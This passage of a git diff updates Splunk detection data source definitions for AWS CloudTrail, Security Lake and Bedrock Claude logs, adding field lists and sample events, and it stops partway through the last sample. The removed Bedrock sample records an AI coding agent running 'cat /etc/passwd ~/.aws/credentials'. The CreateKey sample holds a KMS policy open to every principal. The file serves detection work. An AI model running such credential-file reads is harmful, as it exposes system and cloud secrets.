diff --git a/data_sources/asl_aws_cloudtrail.yml b/data_sources/asl_aws_cloudtrail.yml index 177d51fa85..dea2cb68c5 100644 --- a/data_sources/asl_aws_cloudtrail.yml +++ b/data_sources/asl_aws_cloudtrail.yml @@ -1,8 +1,8 @@ name: ASL AWS CloudTrail id: 1dcf9cfb-0e91-44c6-81b3-61b2574ec898 -version: 3 +version: 4 creation_date: '2025-01-14' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Represents AWS API dataset data collection from Amazon Security Lake. mitre_components: @@ -21,6 +21,103 @@ mitre_components: source: aws_asl sourcetype: aws:asl separator: api.operation +fields: + - _time + - accountid + - activity_id + - activity_name + - actor.idp.name + - actor.invoked_by + - actor.session.created_time_dt + - actor.session.is_mfa + - actor.session.issuer + - actor.user.account.uid + - actor.user.credential_uid + - actor.user.name + - actor.user.type + - actor.user.uid + - actor.user.uid_alt + - api.operation + - api.request.data + - api.request.uid + - api.response.data + - api.response.error + - api.response.message + - api.service.name + - api.version + - asl_version + - category_name + - category_uid + - class_name + - class_uid + - cloud.provider + - cloud.region + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dst_endpoint.svc_name + - eventtype + - host + - http_request.user_agent + - index + - is_mfa + - linecount + - metadata.event_code + - metadata.product.feature.name + - metadata.product.name + - metadata.product.vendor_name + - metadata.product.version + - metadata.profiles + - metadata.uid + - metadata.version + - observables.name + - observables.type + - observables.type_id + - observables.value + - policy.uid + - punct + - region + - resources + - session.credential_uid + - session.issuer + - session.uid + - session.uid_alt + - severity + - severity_id + - source + - sourcetype + - splunk_server + - src_endpoint.domain + - src_endpoint.ip + - src_endpoint.uid + - status + - tag + - tag::eventtype + - time + - time_dt + - timeendpos + - timestartpos + - type_name + - type_uid + - unmapped.managementEvent + - unmapped.readOnly + - unmapped.recipientAccountId + - unmapped.sessionCredentialFromConsole + - unmapped.tlsDetails.cipherSuite + - unmapped.tlsDetails.clientProvidedHostHeader + - unmapped.tlsDetails.tlsVersion + - unmapped.userIdentity.sessionContext.sessionIssuer.accountId + - unmapped.userIdentity.sessionContext.sessionIssuer.principalId + - unmapped.userIdentity.sessionContext.sessionIssuer.type + - unmapped.userIdentity.sessionContext.sessionIssuer.userName + - user.name + - user.uid + - user.uid_alt supported_TA: - name: Splunk Add-on for AWS url: https://splunkbase.splunk.com/app/1876 @@ -33,3 +130,5 @@ output_fields: - vendor_account - vendor_region - vendor_product +example_log: | + {"metadata":{"product":{"version":"1.10","name":"CloudTrail","vendor_name":"AWS","feature":{"name":"Management"}},"event_code":"AwsApiCall","uid":"721b851c-40ec-4a1a-9d81-666641ab0d8e","profiles":"cloud","profiles":"datetime","version":"1.1.0"},"time":1733922792000,"time_dt":1733922792000,"cloud":{"region":"us-east-1","provider":"AWS"},"api":{"response":{"error":"","message":"","data":""},"operation":"DeleteGroup","version":"","service":{"name":"iam.amazonaws.com"},"request":{"data":"{\"groupName\":\"test\"}","uid":"89c19a56-3257-40c1-a36d-ad461ce9be53"}},"dst_endpoint":{"svc_name":""},"actor":{"user":{"type":"IAMUser","name":"test","uid_alt":"AAAAAAAAAAAAAAAAAAAA","uid":"arn:aws:iam::222222222222:user/test","account":{"uid":"222222222222"},"credential_uid":"AAAAAAAAAAAAAAAAAAAAA"},"session":{"created_time_dt":"0","is_mfa":false,"issuer":""},"invoked_by":"","idp":{"name":""}},"http_request":{"user_agent":"aws-cli/2.18.17 md/awscrt#0.22.0 ua/2.0 os/macos#24.1.0 md/arch#arm64 lang/python#3.12.7 md/pyimpl#CPython cfg/retry-mode#standard md/installer#source md/prompt#off md/command#iam.delete-group"},"src_endpoint":{"uid":"","ip":"84.174.65.161","domain":""},"session":{"uid":"","uid_alt":"","credential_uid":"","issuer":""},"policy":{"uid":""},"resources":null,"class_name":"Account Change","class_uid":3001,"category_name":"Identity & Access Management","category_uid":3,"severity_id":1,"severity":"Informational","user":{"uid_alt":"","uid":"","name":""},"activity_name":"Delete","activity_id":6,"type_uid":300106,"type_name":"Account Change: Delete","status":"Success","is_mfa":false,"unmapped":{"tlsDetails.clientProvidedHostHeader":"iam.amazonaws.com","recipientAccountId":"222222222222","readOnly":"false","tlsDetails.tlsVersion":"TLSv1.3","managementEvent":"true","tlsDetails.cipherSuite":"TLS_AES_128_GCM_SHA256"},"accountid":"","region":"","asl_version":"","observables":{"name":"src_endpoint.ip","name":"actor.user.name","value":"84.174.65.161","value":"test","type":"IP Address","type":"User Name","type_id":2,"type_id":4}} diff --git a/data_sources/aws_bedrock_claude.yml b/data_sources/aws_bedrock_claude.yml index 801a3882ea..a21e958aaf 100644 --- a/data_sources/aws_bedrock_claude.yml +++ b/data_sources/aws_bedrock_claude.yml @@ -1,8 +1,8 @@ name: AWS Bedrock Claude id: b7c91d3a-ef52-4b8e-9c2d-ae047f6b3e21 -version: 1 +version: 2 creation_date: '2026-05-20' -modification_date: '2026-05-20' +modification_date: '2026-10-14' author: Rod Soto, Splunk description: Amazon Bedrock model invocation logs for Claude models. Generated when Amazon Bedrock model invocation logging is enabled and a Claude model is invoked via the Bedrock API. Logs include request metadata, input/output token counts, model identity, caller identity, and inference region routing information. mitre_components: @@ -20,43 +20,68 @@ fields: - accountId - host - identity.arn + - index - inferenceRegion - input.cacheReadInputTokenCount - input.cacheWriteInputTokenCount - - input.inputBodyJson.anthropic_beta + - input.inputBodyJson.anthropic_beta{} - input.inputBodyJson.anthropic_version - input.inputBodyJson.max_tokens + - input.inputBodyJson.messages{}.content{}.cache_control.type - input.inputBodyJson.messages{}.content{}.text - input.inputBodyJson.messages{}.content{}.type - input.inputBodyJson.messages{}.role - input.inputBodyJson.metadata.user_id + - input.inputBodyJson.system{}.cache_control.type - input.inputBodyJson.system{}.text - input.inputBodyJson.system{}.type - input.inputBodyJson.temperature - - input.inputBodyJson.tools - input.inputContentType - input.inputTokenCount + - linecount - modelId - operation + - output.outputBodyJson{}.amazon-bedrock-invocationMetrics.firstByteLatency + - output.outputBodyJson{}.amazon-bedrock-invocationMetrics.inputTokenCount + - output.outputBodyJson{}.amazon-bedrock-invocationMetrics.invocationLatency + - output.outputBodyJson{}.amazon-bedrock-invocationMetrics.outputTokenCount + - output.outputBodyJson{}.content_block.text + - output.outputBodyJson{}.content_block.type + - output.outputBodyJson{}.delta.stop_reason + - output.outputBodyJson{}.delta.stop_sequence + - output.outputBodyJson{}.delta.text + - output.outputBodyJson{}.delta.type + - output.outputBodyJson{}.index - output.outputBodyJson{}.message.id - output.outputBodyJson{}.message.model - output.outputBodyJson{}.message.role - output.outputBodyJson{}.message.stop_reason + - output.outputBodyJson{}.message.stop_sequence + - output.outputBodyJson{}.message.type + - output.outputBodyJson{}.message.usage.cache_creation.ephemeral_1h_input_tokens + - output.outputBodyJson{}.message.usage.cache_creation.ephemeral_5m_input_tokens - output.outputBodyJson{}.message.usage.cache_creation_input_tokens - output.outputBodyJson{}.message.usage.cache_read_input_tokens - output.outputBodyJson{}.message.usage.input_tokens - output.outputBodyJson{}.message.usage.output_tokens - output.outputBodyJson{}.type + - output.outputBodyJson{}.usage.cache_creation_input_tokens + - output.outputBodyJson{}.usage.cache_read_input_tokens + - output.outputBodyJson{}.usage.input_tokens + - output.outputBodyJson{}.usage.output_tokens - output.outputContentType - output.outputTokenCount + - punct - region - requestId - schemaType - schemaVersion - source - sourcetype + - splunk_server - timestamp -example_log: '{"timestamp":"2026-05-07T19:43:51Z","accountId":"387769110234","region":"us-west-2","requestId":"eb4b957b-6cbd-4679-8356-3bf3dde4d86e","operation":"InvokeModelWithResponseStream","modelId":"arn:aws:bedrock:us-west-2:387769110234:application-inference-profile/9tr38q319pda","input":{"inputContentType":"application/json","inputBodyJson":{"messages":[{"role":"user","content":[{"type":"text","text":"Command: cat /etc/passwd ~/.aws/credentials\nOutput: root:x:0:0:root:/root:/bin/bash\naws_access_key_id=AKIAIOSFODNN7EXAMPLE\naws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY","cache_control":{"type":"ephemeral"}}]}],"system":[{"type":"text","text":"You are Claude Code, Anthropic official CLI for Claude.","cache_control":{"type":"ephemeral"}}],"tools":[],"metadata":{"user_id":"user_cac3250bfea25c22f4deeaa4f2203cfb2d32fa6d33fc2be55da7585999de0387_account__session_6410ddbe-4a76-4d6a-87b4-a2e5e2d3b853"},"max_tokens":16384,"temperature":1,"anthropic_version":"bedrock-2023-05-31","anthropic_beta":["claude-code-20250219"]},"inputTokenCount":2536,"cacheReadInputTokenCount":0,"cacheWriteInputTokenCount":0},"output":{"outputContentType":"application/json","outputBodyJson":[{"type":"message_start","message":{"model":"claude-haiku-4-5-20251001","id":"msg_bdrk_01Hxoz2bLhqvhZHSkdphvtZp","type":"message","role":"assistant","content":[],"stop_reason":null,"stop_sequence":null,"usage":{"input_tokens":2536,"cache_creation_input_tokens":0,"cache_read_input_tokens":0,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":0},"output_tokens":2}}},{"type":"message_stop","amazon-bedrock-invocationMetrics":{"inputTokenCount":2536,"outputTokenCount":31,"invocationLatency":1200,"firstByteLatency":900}}],"outputTokenCount":31},"identity":{"arn":"arn:aws:sts::387769110234:assumed-role/bedrock-inference-role/vg@foo.com"},"inferenceRegion":"us-east-2","schemaType":"ModelInvocationLog","schemaVersion":"1.0"}' +example_log: | + {"timestamp":"2026-05-07T17:25:54Z","accountId":"387769110234","region":"us-west-2","requestId":"f3b55895-e86b-4361-b049-939c415864ec","operation":"InvokeModelWithResponseStream","modelId":"arn:aws:bedrock:us-west-2:387769110234:application-inference-profile/30gg9eioz4ca","input":{"inputContentType":"application/json","inputBodyJson":{"messages":[{"role":"user","content":[{"type":"text","text":"Command: PGPASSWORD=dev_password psql -h localhost -U foo_dev -d detector_optimization -c \"SELECT org_id, status, last_scan_at FROM scans;\"\nOutput: BqDQY5OAAAA | success | 2026-05-06 00:28:27"}]}],"system":[{"type":"text","text":"You are Claude Code, Anthropic's official CLI for Claude."}],"tools":[],"metadata":{"user_id":"user_120425bc83874fef93db29aaf0b716bb_account__session_1c3dc58a-bb6b-4380-982d-6cc8b0a00b8c"},"max_tokens":16384,"anthropic_version":"bedrock-2023-05-31","anthropic_beta":["claude-code-20250219"]},"inputTokenCount":23,"cacheReadInputTokenCount":0,"cacheWriteInputTokenCount":0},"output":{"outputContentType":"application/json","outputBodyJson":[{"type":"message_stop","amazon-bedrock-invocationMetrics":{"inputTokenCount":23,"outputTokenCount":25,"invocationLatency":900,"firstByteLatency":600}}],"outputTokenCount":25},"identity":{"arn":"arn:aws:sts::387769110234:assumed-role/bedrock-inference-role/jani@foo.com"},"inferenceRegion":"us-west-2","schemaType":"ModelInvocationLog","schemaVersion":"1.0"} output_fields: - user - user_arn diff --git a/data_sources/aws_cloudtrail.yml b/data_sources/aws_cloudtrail.yml index 9ce661d969..9774f0335a 100644 --- a/data_sources/aws_cloudtrail.yml +++ b/data_sources/aws_cloudtrail.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail id: e8ace6db-1dbd-4c72-a1fb-334684619a38 -version: 2 +version: 3 creation_date: '2024-07-16' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: All AWS CloudTrail events source: aws_cloudtrail @@ -12,3 +12,101 @@ supported_TA: - name: Splunk Add-on for AWS url: https://splunkbase.splunk.com/app/1876 version: 8.2.2 +fields: + - _time + - app + - aws_account_id + - awsRegion + - change_type + - command + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - dvc + - errorCode + - eventCategory + - eventID + - eventName + - eventSource + - eventTime + - eventType + - eventVersion + - host + - index + - linecount + - managementEvent + - msg + - object_category + - product + - punct + - readOnly + - recipientAccountId + - region + - requestID + - requestParameters.dryRun + - requestParameters.fullyQualifiedArn.arnPrefix.account + - requestParameters.fullyQualifiedArn.arnPrefix.partition + - requestParameters.fullyQualifiedArn.arnPrefix.region + - requestParameters.fullyQualifiedArn.relativeId.functionName + - requestParameters.functionName + - requestParameters.publish + - responseElements.architectures{} + - responseElements.codeSha256 + - responseElements.codeSize + - responseElements.description + - responseElements.functionArn + - responseElements.functionName + - responseElements.handler + - responseElements.lastModified + - responseElements.lastUpdateStatus + - responseElements.lastUpdateStatusReason + - responseElements.lastUpdateStatusReasonCode + - responseElements.memorySize + - responseElements.packageType + - responseElements.revisionId + - responseElements.role + - responseElements.runtime + - responseElements.state + - responseElements.stateReason + - responseElements.stateReasonCode + - responseElements.timeout + - responseElements.tracingConfig.mode + - responseElements.version + - signature + - source + - sourceIPAddress + - sourcetype + - splunk_server + - src + - src_ip + - src_user + - start_time + - timeendpos + - timestartpos + - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type + - userAgent + - userIdentity.accessKeyId + - userIdentity.accountId + - userIdentity.arn + - userIdentity.principalId + - userIdentity.type + - userIdentity.userName + - userName + - vendor + - vendor_account + - vendor_product + - vendor_region +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-02-25T00:53:49Z", "eventSource": "lambda.amazonaws.com", "eventName": "UpdateFunctionCode20150331v2", "awsRegion": "us-west-2", "sourceIPAddress": "73.202.156.34", "userAgent": "aws-cli/2.0.62 Python/3.9.2 Darwin/19.6.0 source/x86_64 command/lambda.update-function-code", "requestParameters": {"fullyQualifiedArn": {"arnPrefix": {"partition": "aws", "region": "us-west-2", "account": "111111111111"}, "relativeId": {"functionName": "bhavin_test"}, "functionQualifier": {}}, "functionName": "arn:aws:lambda:us-west-2:111111111111:function:bhavin_test", "publish": true, "dryRun": false}, "responseElements": {"functionName": "bhavin_test", "functionArn": "arn:aws:lambda:us-west-2:111111111111:function:bhavin_test:1", "runtime": "python3.8", "role": "arn:aws:iam::111111111111:role/service-role/bhavin_test-role-7ppg8rck", "handler": "lambda_function.lambda_handler", "codeSize": 779, "description": "", "timeout": 3, "memorySize": 128, "lastModified": "2022-02-25T00:53:49.000+0000", "codeSha256": "cn+ec5LfJBeR4xOhy4XT2AhTndy6uQ268Iu+hY1WGS8=", "version": "1", "environment": {}, "tracingConfig": {"mode": "PassThrough"}, "revisionId": "c617a19c-1192-40d0-af2f-9d51b41494b6", "state": "Pending", "stateReason": "The function is being created.", "stateReasonCode": "Creating", "packageType": "Zip", "architectures": ["x86_64"]}, "requestID": "bcbb506f-d09c-4f28-83dc-717c4eafc182", "eventID": "4ac2b1d2-cfb8-4da8-b3b5-c2c0e85495c3", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"} diff --git a/data_sources/aws_cloudtrail_consolelogin.yml b/data_sources/aws_cloudtrail_consolelogin.yml index 1c5f94ecab..87c0da0c47 100644 --- a/data_sources/aws_cloudtrail_consolelogin.yml +++ b/data_sources/aws_cloudtrail_consolelogin.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail ConsoleLogin id: b68b3f26-bd21-4fa8-b593-616fe75ac0ae -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs attempts to sign in to the AWS Management Console, including successful and failed login events. mitre_components: @@ -27,8 +27,8 @@ fields: - additionalEventData.MobileVersion - app - authentication_method - - awsRegion - aws_account_id + - awsRegion - command - date_hour - date_mday @@ -49,8 +49,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -83,16 +83,22 @@ fields: - tlsDetails.cipherSuite - tlsDetails.clientProvidedHostHeader - tlsDetails.tlsVersion - - userAgent - - userIdentity.accessKeyId - - userIdentity.accountId - - userIdentity.type - - userIdentity.userName + - user - user_access_key - user_agent + - user_arn - user_group_id + - user_id - user_name - user_type + - userAgent + - userIdentity.accessKeyId + - userIdentity.accountId + - userIdentity.arn + - userIdentity.principalId + - userIdentity.type + - userIdentity.userName + - userName - vendor - vendor_account - vendor_product @@ -105,4 +111,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "accountId": "111111111111", "accessKeyId": "", "userName": "HIDDEN_DUE_TO_SECURITY_REASONS"}, "eventTime": "2022-10-19T20:33:38Z", "eventSource": "signin.amazonaws.com", "eventName": "ConsoleLogin", "awsRegion": "us-east-1", "sourceIPAddress": "142.254.89.27", "userAgent": "Go-http-client/1.1", "errorMessage": "No username found in supplied account", "requestParameters": null, "responseElements": {"ConsoleLogin": "Failure"}, "additionalEventData": {"LoginTo": "https://console.aws.amazon.com", "MobileVersion": "No", "MFAUsed": "No"}, "eventID": "9fcfb8c3-3fca-48db-85d2-7b107f9d95d0", "readOnly": false, "eventType": "AwsConsoleSignIn", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "signin.aws.amazon.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "Root", "principalId": "111111111111", "arn": "arn:aws:iam::111111111111:root", "accountId": "111111111111", "accessKeyId": ""}, "eventTime": "2022-10-04T20:12:11Z", "eventSource": "signin.amazonaws.com", "eventName": "ConsoleLogin", "awsRegion": "us-east-1", "sourceIPAddress": "142.254.89.27", "userAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36", "requestParameters": null, "responseElements": {"ConsoleLogin": "Success"}, "additionalEventData": {"LoginTo": "https://us-east-1.console.aws.amazon.com/console/home?hashArgs=%23&isauthcode=true®ion=us-east-1&skipRegion=true&state=hashArgsFromTB_us-east-1_dbcda3577ba5583b", "MobileVersion": "No", "MFAUsed": "No"}, "eventID": "630d3da9-9cdc-44a4-a617-33e2f8f21a32", "readOnly": false, "eventType": "AwsConsoleSignIn", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "signin.aws.amazon.com"}} diff --git a/data_sources/aws_cloudtrail_createaccesskey.yml b/data_sources/aws_cloudtrail_createaccesskey.yml index 90d25a6c4b..cd6a61e646 100644 --- a/data_sources/aws_cloudtrail_createaccesskey.yml +++ b/data_sources/aws_cloudtrail_createaccesskey.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail CreateAccessKey id: 0460f7da-3254-4d90-b8c0-2ca657d0cea0 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of new AWS access keys, including details of the associated user and permissions. mitre_components: @@ -22,46 +22,48 @@ fields: - _time - action - app - - awsRegion - aws_account_id + - awsRegion - change_type - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - desc - dest - dvc - errorCode + - errorMessage - eventCategory - eventID - eventName - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount - managementEvent - msg + - object + - object_attrs - object_category + - object_id - product - punct - readOnly + - reason - recipientAccountId - region - requestID + - requestParameters - requestParameters.userName + - responseElements - responseElements.accessKey.accessKeyId - responseElements.accessKey.createDate - responseElements.accessKey.status - responseElements.accessKey.userName + - result + - result_id - signature - source - sourceIPAddress @@ -69,29 +71,35 @@ fields: - splunk_server - src - src_ip + - src_user - src_user_name + - src_user_type - start_time - status - tag - tag::eventtype - - timeendpos - - timestartpos + - timestamp - user + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name - userAgent - userIdentity.accessKeyId - userIdentity.accountId - userIdentity.arn - userIdentity.principalId + - userIdentity.sessionContext.attributes.creationDate + - userIdentity.sessionContext.attributes.mfaAuthenticated + - userIdentity.sessionContext.sessionIssuer.accountId + - userIdentity.sessionContext.sessionIssuer.arn + - userIdentity.sessionContext.sessionIssuer.principalId + - userIdentity.sessionContext.sessionIssuer.type + - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userIdentity.userName - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -104,4 +112,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::121521347698:user/bhavin_cli", "accountId": "121521347698", "accessKeyId": "AKIAYTOGP2RLLAA6NJUM", "userName": "bhavin_cli"}, "eventTime": "2021-03-02T21:18:24Z", "eventSource": "iam.amazonaws.com", "eventName": "CreateAccessKey", "awsRegion": "us-east-1", "sourceIPAddress": "12.25.72.12", "userAgent": "aws-cli/2.0.62 Python/3.9.0 Darwin/19.6.0 source/x86_64 command/iam.create-access-key", "requestParameters": {"userName": "AtomicRedTeam"}, "responseElements": {"accessKey": {"userName": "AtomicRedTeam", "accessKeyId": "AKIAYTOGP2RLOQ4ULYGT", "status": "Active", "createDate": "Mar 2, 2021 9:18:24 PM"}}, "requestID": "12c8773d-6c78-46bf-a8e4-f841adc8f70d", "eventID": "5772e8d5-cccc-470d-81ef-acacfe85a804", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "121521347698"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::121521347698:user/bhavin_cli", "accountId": "121521347698", "accessKeyId": "AKIAYTOGP2RLNWREA6ND", "userName": "root"}, "eventTime": "2021-02-26T00:59:56Z", "eventSource": "iam.amazonaws.com", "eventName": "CreateAccessKey", "awsRegion": "us-east-1", "sourceIPAddress": "12.25.72.12", "userAgent": "aws-cli/2.0.62 Python/3.9.0 Darwin/19.6.0 source/x86_64 command/iam.create-access-key", "requestParameters": {"userName": "AtomicRedTeam"}, "responseElements": {"accessKey": {"userName": "AtomicRedTeam", "accessKeyId": "AKIAYTOGP2RLBBCIMNFB", "status": "Active", "createDate": "Feb 26, 2021 12:59:56 AM"}}, "requestID": "f091fc85-c50e-40eb-9b7e-b6261f0487a3", "eventID": "768ae31b-64cd-488b-9a19-14dfcdbe62df", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "121521347698"} diff --git a/data_sources/aws_cloudtrail_createkey.yml b/data_sources/aws_cloudtrail_createkey.yml index 66946e9161..193d26dc39 100644 --- a/data_sources/aws_cloudtrail_createkey.yml +++ b/data_sources/aws_cloudtrail_createkey.yml @@ -1,8 +1,8 @@ name: AWS CloudTrail CreateKey id: fcfc1593-b6b5-4a0f-91c5-3c395116a8b9 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of new AWS KMS keys, including details of key properties and associated metadata. mitre_components: @@ -21,17 +21,9 @@ supported_TA: fields: - _time - app - - awsRegion - aws_account_id + - awsRegion - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dvc - errorCode @@ -41,8 +33,8 @@ fields: - eventSource - eventTime - eventType - - eventVersion - eventtype + - eventVersion - host - index - linecount @@ -61,11 +53,11 @@ fields: - requestParameters.keyUsage - requestParameters.origin - requestParameters.policy - - resources{}.ARN - resources{}.accountId + - resources{}.ARN - resources{}.type - - responseElements.keyMetadata.aWSAccountId - responseElements.keyMetadata.arn + - responseElements.keyMetadata.aWSAccountId - responseElements.keyMetadata.creationDate - responseElements.keyMetadata.customerMasterKeySpec - responseElements.keyMetadata.description @@ -86,9 +78,13 @@ fields: - start_time - tag - tag::eventtype - - timeendpos - - timestartpos - - user + - timestamp + - user_access_key + - user_agent + - user_arn + - user_group_id + - user_name + - user_type - userAgent - userIdentity.accessKeyId - userIdentity.accountId @@ -103,13 +99,6 @@ fields: - userIdentity.sessionContext.sessionIssuer.userName - userIdentity.type - userName - - user_access_key - - user_agent - - user_arn - - user_group_id - - user_id - - user_name - - user_type - vendor - vendor_account - vendor_product @@ -122,4 +111,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLK74OPBDR", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-11T09:03:18Z"}}}, "eventTime": "2021-01-11T09:56:31Z", "eventSource": "kms.amazonaws.com", "eventName": "CreateKey", "awsRegion": "us-west-2", "sourceIPAddress": "95.90.199.65", "userAgent": "aws-internal/3 aws-sdk-java/1.11.893 Linux/4.9.230-0.1.ac.223.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.272-b10 java/1.8.0_272 vendor/Oracle_Corporation", "requestParameters": {"origin": "AWS_KMS", "policy": "{\n \"Id\": \"key-consolepolicy-3\",\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"Enable IAM User Permissions\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:root\"\n },\n \"Action\": \"kms:*\",\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow access for Key Administrators\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:Create*\",\n \"kms:Describe*\",\n \"kms:Enable*\",\n \"kms:List*\",\n \"kms:Put*\",\n \"kms:Update*\",\n \"kms:Revoke*\",\n \"kms:Disable*\",\n \"kms:Get*\",\n \"kms:Delete*\",\n \"kms:TagResource\",\n \"kms:UntagResource\",\n \"kms:ScheduleKeyDeletion\",\n \"kms:CancelKeyDeletion\"\n ],\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow use of the key\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:Encrypt\",\n \"kms:Decrypt\",\n \"kms:ReEncrypt*\",\n \"kms:GenerateDataKey*\",\n \"kms:DescribeKey\"\n ],\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow attachment of persistent resources\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:CreateGrant\",\n \"kms:ListGrants\",\n \"kms:RevokeGrant\"\n ],\n \"Resource\": \"*\",\n \"Condition\": {\n \"Bool\": {\n \"kms:GrantIsForAWSResource\": \"true\"\n }\n }\n },\n {\n \"Sid\": \"Allow use of the key\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"*\"\n },\n \"Action\": [\n \"kms:Encrypt\"\n ],\n \"Resource\": \"*\"\n }\n ]\n}", "description": "", "customerMasterKeySpec": "SYMMETRIC_DEFAULT", "bypassPolicyLockoutSafetyCheck": false, "tags": [], "keyUsage": "ENCRYPT_DECRYPT"}, "responseElements": {"keyMetadata": {"aWSAccountId": "111111111111", "keyId": "f2a82583-a7d3-4c92-8787-fe2baab1cee1", "arn": "arn:aws:kms:us-west-2:111111111111:key/f2a82583-a7d3-4c92-8787-fe2baab1cee1", "creationDate": "Jan 11, 2021, 9:56:30 AM", "enabled": true, "description": "", "keyUsage": "ENCRYPT_DECRYPT", "keyState": "Enabled", "origin": "AWS_KMS", "keyManager": "CUSTOMER", "customerMasterKeySpec": "SYMMETRIC_DEFAULT", "encryptionAlgorithms": ["SYMMETRIC_DEFAULT"]}}, "requestID": "3356af25-a237-471f-ba5e-abb37d4a256f", "eventID": "f09518ac-5ae5-4214-80ee-4f23ccdedd4c", "readOnly": false, "resources": [{"accountId": "111111111111", "type": "AWS::KMS::Key", "ARN": "arn:aws:kms:us-west-2:111111111111:key/f2a82583-a7d3-4c92-8787-fe2baab1cee1"}], "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLK74OPBDR", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-11T09:03:18Z"}}}, "eventTime": "2021-01-11T09:56:31Z", "eventSource": "kms.amazonaws.com", "eventName": "CreateKey", "awsRegion": "us-west-2", "sourceIPAddress": "95.90.199.65", "userAgent": "aws-internal/3 